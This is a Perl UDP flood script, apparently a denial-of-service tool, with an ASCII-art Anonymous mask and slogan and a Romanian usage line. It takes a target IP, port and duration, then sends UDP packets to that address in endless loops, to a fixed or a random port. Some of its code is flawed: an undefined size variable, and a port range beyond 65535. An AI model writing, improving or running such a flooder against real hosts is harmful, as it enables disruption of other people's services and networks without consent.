#!/usr/bin/perl
use Socket;
$ARGC=@ARGV;
if ($ARGC !=3) {
printf " Comanda este :  perl $0 ip port time \n";
exit(1);
}
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");



printf " MMMMMMMMMMMMMMMMMMMNmdhhyysssooossyyhmNMMMMMMMMMMMMMMMM \n";
printf " MMMMMMMMMMMMMmyo/-`.----..----:-.-----..-/sNMMMMMMMMMMM \n";
printf " MMMMMMMMMNs:`.:/+o/:-.``              `... :MMMMMMMMMMM \n";
printf " MMMMMMMMM: smdyo//-.`                     . hMMMMMMMMMM \n";
printf " MMMMMMMMM`-MNds+:-.`                      ``-MMMMMMMMMM \n";
printf " MMMMMMMMm +NNhs+/::.`        `..``````     - dMMMMMMMMM \n";
printf " MMMMMMMMh oNmssdhyo+:`      ``.:shyyss+/` `- sMMMMMMMMM \n";
printf " MMMMMMMMy sNms:--:odmNh-    .ymNy/.`    .`.: sMMMMMMMMM \n";
printf " MMMMMMMMy ymho.`   `-+y/    .oo.          -: oMMMMMMMMM \n";
printf " MMMMMMMMd odho+osyyo+::++.   ..-+shdhho`...- +MMMMMMMMM \n";
printf " MMMMMMMMN`:hy+/+oo++/+++/-    .-://:.`   `.: oMMMMMMMMM \n";
printf " MMMMMMMMM..d+````   `:+++:           ```  `: hMMMMMMMMM \n";
printf " MMMMMMMMM: mo:...`  .+ooo/          `...  .- mMMMMMMMMM \n";
printf " MMMMMMMMMy sd:```  ./syss-     .`   ```  `:-`MMMMMMMMMM \n";
printf " MMMMMMMMMN`-ho/://ohmdyys.   -.-````.-::..+ /MMMMMMMMMM \n";
printf " MMMMMMMMMMo s+shNhosso+smdyys-     .oy./ :: hMMMMMMMMMM \n";
printf " MMMMMMMMMMM-`s/ysNNmhyhNMh-sdyo+/ohh+ . ::`.MMMMMMMMMMM \n";
printf " MMMMMMMMMMMN: //oo+ssssso:--:+/::-`  . .:- hMMMMMMMMMMM \n";
printf " MMMMMMMMMMMMM+ /+:++yo:/:-...``     ` .:. sMMMMMMMMMMMM \n";
printf " MMMMMMMMMMMMMMy`.o/sss/-.sNds        -:`.dMMMMMMMMMMMMM \n";
printf " MMMMMMMMMMMMMMMm: +y+yo++sMy/    ` `:- /NMMMMMMMMMMMMMM \n";
printf " MMMMMMMMMMMMMMMMMh-`:yyyyNmh+   ` `-`.hMMMMMMMMMMMMMMMM \n";
printf " MMMMMMMMMMMMMMMMMMMd/`-oymds:   ```-sMMMMMMMMMMMMMMMMMM \n";
printf " MMMMMMMMMMMMMMMMMMMMMNo`.+Ny:`.` :dMMMMMMMMMMMMMMMMMMMM \n";
printf " MMMMMMMMMMMMMMMMMMMMMMMNs`-o`./smMMMMMMMMMMMMMMMMMMMMMM \n";
printf " MMMMMMMMMMMMMMMMMMMMMMMMMNyyyNMMMMMMMMMMMMMMMMMMMMMMMMM \n";
printf "     We do not forgive. We do not forget. Expect us      \n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}
packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 8, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=int(rand 79500) +0;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}